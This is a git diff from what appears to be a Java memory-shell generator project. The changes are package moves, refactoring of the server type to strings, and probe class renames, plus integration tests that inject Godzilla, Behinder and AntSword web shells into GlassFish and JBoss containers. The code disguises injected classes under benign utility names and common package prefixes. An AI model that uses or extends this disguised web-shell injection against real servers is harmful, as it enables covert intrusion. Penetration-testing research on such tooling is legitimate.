generator/src/main/java/com/reajason/javaweb/memshell/utils/CommonUtil.java rename to generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java index 52fbe877..44349bd4 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/utils/CommonUtil.java +++ b/generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java @@ -1,6 +1,4 @@ -package com.reajason.javaweb.memshell.utils; - -import com.reajason.javaweb.memshell.Server; +package com.reajason.javaweb.utils; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; @@ -13,19 +11,19 @@ import java.util.Set; import java.util.zip.GZIPInputStream; import java.util.zip.GZIPOutputStream; +import static com.reajason.javaweb.Server.*; + /** * @author ReaJason */ public class CommonUtil { public static final String[] INJECTOR_CLASS_NAMES = new String[]{"SignatureUtils", "NetworkUtils", "KeyUtils", "EncryptionUtils", "SessionDataUtil", "SOAPUtils", "ReflectUtil", "HttpClientUtil", "EncryptionUtil", "XMLUtil", "JSONUtil", "FileUtils", "DateUtil", "StringUtil", "MathUtil", "HttpUtil", "CSVUtil", "ImageUtil", "ThreadUtil", "ReportUtil", "EncodingUtil", "ConfigurationUtil", "HTMLUtil", "SerializationUtil"}; - public static final Set JAVA_KEYWORDS = new HashSet<>(Arrays.asList(new String[]{ - "abstract", "assert", "boolean", "break", "byte", "case", "catch", "char", "class", "const", + public static final Set JAVA_KEYWORDS = new HashSet<>(Arrays.asList("abstract", "assert", "boolean", "break", "byte", "case", "catch", "char", "class", "const", "continue", "default", "do", "double", "else", "enum", "extends", "final", "finally", "float", "for", "goto", "if", "implements", "import", "instanceof", "int", "interface", "long", "native", "new", "package", "private", "protected", "public", "return", "short", "static", "strictfp", "super", - "switch", "synchronized", "this", "throw", "throws", "transient", "try", "void", "volatile", "while" - })); + "switch", "synchronized", "this", "throw", "throws", "transient", "try", "void", "volatile", "while")); private static final String[] PACKAGE_NAMES = { "org.springframework", "org.apache.commons", @@ -103,7 +101,7 @@ public class CommonUtil { return getRandomPackageName() + "." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)]; } - public static String generateShellClassName(Server server, String shellType) { + public static String generateShellClassName(String server, String shellType) { String packageName; switch (server) { case Jetty: diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java b/generator/src/main/java/com/reajason/javaweb/utils/ShellCommonUtil.java similarity index 98% rename from generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java rename to generator/src/main/java/com/reajason/javaweb/utils/ShellCommonUtil.java index dc47cfb9..3fdb7ba7 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java +++ b/generator/src/main/java/com/reajason/javaweb/utils/ShellCommonUtil.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memshell.utils; +package com.reajason.javaweb.utils; import net.bytebuddy.asm.Advice; diff --git a/memshell/src/main/java/com/xxl/job/core/biz/ExecutorBiz.java b/generator/src/main/java/com/xxl/job/core/biz/ExecutorBiz.java similarity index 100% rename from memshell/src/main/java/com/xxl/job/core/biz/ExecutorBiz.java rename to generator/src/main/java/com/xxl/job/core/biz/ExecutorBiz.java diff --git a/memshell/src/main/java/com/xxl/job/core/biz/impl/ExecutorBizImpl.java b/generator/src/main/java/com/xxl/job/core/biz/impl/ExecutorBizImpl.java similarity index 100% rename from memshell/src/main/java/com/xxl/job/core/biz/impl/ExecutorBizImpl.java rename to generator/src/main/java/com/xxl/job/core/biz/impl/ExecutorBizImpl.java diff --git a/memshell/src/main/java/com/xxl/job/core/server/EmbedServer.java b/generator/src/main/java/com/xxl/job/core/server/EmbedServer.java similarity index 100% rename from memshell/src/main/java/com/xxl/job/core/server/EmbedServer.java rename to generator/src/main/java/com/xxl/job/core/server/EmbedServer.java diff --git a/memshell/src/main/java/org/apache/catalina/Valve.java b/generator/src/main/java/org/apache/catalina/Valve.java similarity index 100% rename from memshell/src/main/java/org/apache/catalina/Valve.java rename to generator/src/main/java/org/apache/catalina/Valve.java diff --git a/memshell/src/main/java/org/apache/catalina/connector/Request.java b/generator/src/main/java/org/apache/catalina/connector/Request.java similarity index 100% rename from memshell/src/main/java/org/apache/catalina/connector/Request.java rename to generator/src/main/java/org/apache/catalina/connector/Request.java diff --git a/memshell/src/main/java/org/apache/catalina/connector/Response.java b/generator/src/main/java/org/apache/catalina/connector/Response.java similarity index 100% rename from memshell/src/main/java/org/apache/catalina/connector/Response.java rename to generator/src/main/java/org/apache/catalina/connector/Response.java diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/GeneratorMainTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/GeneratorMainTest.java index 713b1a24..4bcca1d8 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/GeneratorMainTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/GeneratorMainTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.memshell; +import com.reajason.javaweb.Server; import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.jar.JarPacker; diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java index 873fe265..890af712 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java @@ -2,7 +2,7 @@ package com.reajason.javaweb.memshell.generator; import com.reajason.javaweb.memshell.config.CustomConfig; import com.reajason.javaweb.memshell.config.ShellConfig; -import com.reajason.javaweb.memshell.utils.CommonUtil; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import net.bytebuddy.ByteBuddy; import net.bytebuddy.jar.asm.ClassReader; diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/generator/GodzillaGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/generator/GodzillaGeneratorTest.java index 1efdf049..284604db 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/generator/GodzillaGeneratorTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/generator/GodzillaGeneratorTest.java @@ -1,16 +1,15 @@ package com.reajason.javaweb.memshell.generator; -import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.GodzillaConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; -import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.util.ClassDefiner; import com.reajason.javaweb.util.ClassUtils; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; -import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.Test; diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/packer/GzipBase64Test.java b/generator/src/test/java/com/reajason/javaweb/memshell/packer/GzipBase64Test.java index ce8650a7..fd13e553 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/packer/GzipBase64Test.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/packer/GzipBase64Test.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.memshell.packer; import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.packer.base64.GzipBase64Packer; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import org.junit.jupiter.api.Test; diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java index df9304e7..3d3c758a 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java @@ -1,6 +1,10 @@ package com.reajason.javaweb.memshell.tomcat.command; -import com.reajason.javaweb.memshell.*; +import com.reajason.javaweb.Server; +import com.reajason.javaweb.memshell.MemShellGenerator; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.ShellConfig; diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaTest.java index e89b0de3..bdbb7920 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaTest.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell.tomcat.godzilla; -import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.Server; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.GodzillaConfig; import com.reajason.javaweb.memshell.config.ShellConfig; @@ -8,8 +8,8 @@ import com.reajason.javaweb.memshell.generator.GodzillaGenerator; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaListener; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; -import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.util.ClassUtils; +import com.reajason.javaweb.utils.CommonUtil; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; diff --git a/generator/src/test/java/com/reajason/javaweb/probe/ProbeGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/probe/ProbeGeneratorTest.java index e36eac77..b2c0008b 100644 --- a/generator/src/test/java/com/reajason/javaweb/probe/ProbeGeneratorTest.java +++ b/generator/src/test/java/com/reajason/javaweb/probe/ProbeGeneratorTest.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.probe; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.probe.config.ProbeConfig; import com.reajason.javaweb.probe.config.ResponseBodyConfig; @@ -21,10 +21,10 @@ class ProbeGeneratorTest { .probeContent(ProbeContent.Bytecode) .build(); ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder() - .server(Constants.Server.JETTY) + .server(Server.Jetty) .reqParamName("payload") .build(); - ProbeResult probeResult = ProbeGenerator.generate(probeConfig, responseBodyConfig); + ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig); System.out.println(probeResult.getShellBytesBase64Str()); // Files.write(Paths.get("hello.class"), probeResult.getShellBytes()); System.out.println(Packers.ScriptEngine.getInstance().pack(probeResult.toClassPackerConfig())); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java index 20f96273..41b11c5d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java @@ -2,9 +2,9 @@ package com.reajason.javaweb.integration; import com.reajason.javaweb.integration.probe.DetectionTool; import com.reajason.javaweb.probe.ProbeContent; -import com.reajason.javaweb.probe.ProbeGenerator; import com.reajason.javaweb.probe.ProbeMethod; -import com.reajason.javaweb.probe.ProbeResult; +import com.reajason.javaweb.probe.ProbeShellGenerator; +import com.reajason.javaweb.probe.ProbeShellResult; import com.reajason.javaweb.probe.config.ProbeConfig; import com.reajason.javaweb.probe.config.ResponseBodyConfig; import lombok.SneakyThrows; @@ -35,7 +35,7 @@ public class ProbeAssertion { .server(server) .reqParamName(reqParamName) .build(); - ProbeResult probeResult = ProbeGenerator.generate(probeConfig, responseBodyConfig); + ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig); RequestBody requestBody = new FormBody.Builder() .add("data", probeResult.getShellBytesBase64Str()) .add(reqParamName, DetectionTool.getServerDetection()) @@ -63,7 +63,7 @@ public class ProbeAssertion { .server(server) .reqHeaderName(headerName) .build(); - ProbeResult probeResult = ProbeGenerator.generate(probeConfig, responseBodyConfig); + ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig); String content = probeResult.getShellBytesBase64Str(); RequestBody requestBody = new FormBody.Builder() .add("data", content) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java index 8ac9495c..6ceaa08c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java @@ -4,7 +4,10 @@ import com.reajason.javaweb.antsword.AntSwordManager; import com.reajason.javaweb.behinder.BehinderManager; import com.reajason.javaweb.godzilla.BlockingJavaWebSocketClient; import com.reajason.javaweb.godzilla.GodzillaManager; -import com.reajason.javaweb.memshell.*; +import com.reajason.javaweb.memshell.MemShellGenerator; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.jar.AgentJarPacker; @@ -46,12 +49,12 @@ import static org.junit.jupiter.api.Assertions.assertTrue; @Slf4j public class ShellAssertion { - public static void shellInjectIsOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer) { + public static void shellInjectIsOk(String url, String server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer) { shellInjectIsOk(url, server, shellType, shellTool, targetJdkVersion, packer, null); } @SneakyThrows - public static void shellInjectIsOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer container) { + public static void shellInjectIsOk(String url, String server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer container) { shellInjectIsOk(url, server, shellType, shellTool, targetJdkVersion, packer, container, null); } @@ -77,7 +80,7 @@ public class ShellAssertion { } @SneakyThrows - public static void shellInjectIsOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer appContainer, GenericContainer pythonContainer) { + public static void shellInjectIsOk(String url, String server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer appContainer, GenericContainer pythonContainer) { Pair urls = getUrls(url, shellType, shellTool, packer); String shellUrl = urls.getLeft(); String urlPattern = urls.getRight(); @@ -285,7 +288,7 @@ public class ShellAssertion { return shellToolConfig; } - public static MemShellResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, ShellToolConfig shellToolConfig) { + public static MemShellResult generate(String urlPattern, String server, String shellType, ShellTool shellTool, int targetJdkVersion, ShellToolConfig shellToolConfig) { InjectorConfig injectorConfig = new InjectorConfig(); if (StringUtils.isNotBlank(urlPattern)) { injectorConfig.setUrlPattern(urlPattern); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/TestCasesProvider.java b/integration-test/src/test/java/com/reajason/javaweb/integration/TestCasesProvider.java index d637cb5e..2d9acf39 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/TestCasesProvider.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/TestCasesProvider.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.integration; -import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ServerFactory; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -20,7 +20,7 @@ import static org.junit.jupiter.params.provider.Arguments.arguments; public class TestCasesProvider { public static Stream getTestCases(String imageName, - Server server, + String server, List testShellTypes, List testPackers, List> unSupportedCases) { @@ -28,12 +28,12 @@ public class TestCasesProvider { } public static Stream getTestCases(String imageName, - Server server, + String server, List testShellTypes, List testPackers, List> unSupportedCases, List unSupportedShellTools) { - Set supportedShellTools = new TreeSet<>(server.getShell().getSupportedShellTools()); + Set supportedShellTools = new TreeSet<>(ServerFactory.getServer(server).getSupportedShellTools()); if (unSupportedShellTools != null) { unSupportedShellTools.forEach(supportedShellTools::remove); } @@ -46,7 +46,7 @@ public class TestCasesProvider { return supportedShellTools.stream() .flatMap(supportedShellTool -> { List toolSupportedShellTypes = new ArrayList<>(); - Set supportedShellTypes = server.getShell().getSupportedShellTypes(supportedShellTool); + Set supportedShellTypes = ServerFactory.getServer(server).getSupportedShellTypes(supportedShellTool); for (String testShellType : testShellTypes) { if (supportedShellTypes.contains(testShellType)) { toolSupportedShellTypes.add(testShellType); @@ -81,7 +81,7 @@ public class TestCasesProvider { } public static Stream getTestCases(String imageName, - Server server, + String server, List testShellTypes, List testPackers) { return getTestCases(imageName, server, testShellTypes, testPackers, null); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java index 92ee3453..1da5f36c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.glassfish; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -57,7 +57,7 @@ public class GlassFish3ContainerTest { } static Stream casesProvider() { - Server server = Server.GlassFish; + String server = Server.GlassFish; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish4ContainerTest.java index 42759ab9..1356148c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish4ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish4ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.glassfish; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -57,7 +57,7 @@ public class GlassFish4ContainerTest { } static Stream casesProvider() { - Server server = Server.GlassFish; + String server = Server.GlassFish; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish501ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish501ContainerTest.java index c8ee59cd..44179071 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish501ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish501ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.glassfish; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class GlassFish501ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.GlassFish; + String server = Server.GlassFish; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish510ContainerTest.java index 8e848a6d..40c5c28a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish510ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.glassfish; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class GlassFish510ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.GlassFish; + String server = Server.GlassFish; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish6ContainerTest.java index c23d3442..6d1ee141 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish6ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.glassfish; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class GlassFish6ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.GlassFish; + String server = Server.GlassFish; List supportedShellTypes = List.of( ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.AGENT_FILTER_CHAIN, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7ContainerTest.java index cc5caa3e..4850b9b1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.glassfish; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class GlassFish7ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.GlassFish; + String server = Server.GlassFish; List supportedShellTypes = List.of( ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.AGENT_FILTER_CHAIN, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss423ContainerTest.java index b5144528..3d1ad702 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss423ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss423ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.jbossas; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -51,7 +51,7 @@ public class Jboss423ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.JBoss; + String server = Server.JBoss; List supportedShellTypes = List.of( ShellType.PROXY_VALVE ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss510ContainerTest.java index 8277b166..aee9735c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss510ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.jbossas; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class Jboss510ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.JBoss; + String server = Server.JBoss; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss610ContainerTest.java index e00fb8ea..b59cbdd3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss610ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss610ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.jbossas; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class Jboss610ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.JBoss; + String server = Server.JBoss; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss711ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss711ContainerTest.java index cf83a26e..ea9a0c4b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss711ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss711ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.jbossas; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -53,7 +53,7 @@ public class Jboss711ContainerTest { * 找不到 Templates 类暂时先不测试反序列化 */ static Stream casesProvider() { - Server server = Server.JBoss; + String server = Server.JBoss; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap6ContainerTest.java index b4674434..328fd50c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap6ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.jbosseap; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class JbossEap6ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.JBoss; + String server = Server.JBoss; List supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.PROXY_VALVE, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap7ContainerTest.java index fd6320b7..298c7705 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap7ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.jbosseap; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class JbossEap7ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Undertow; + String server = Server.Undertow; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java 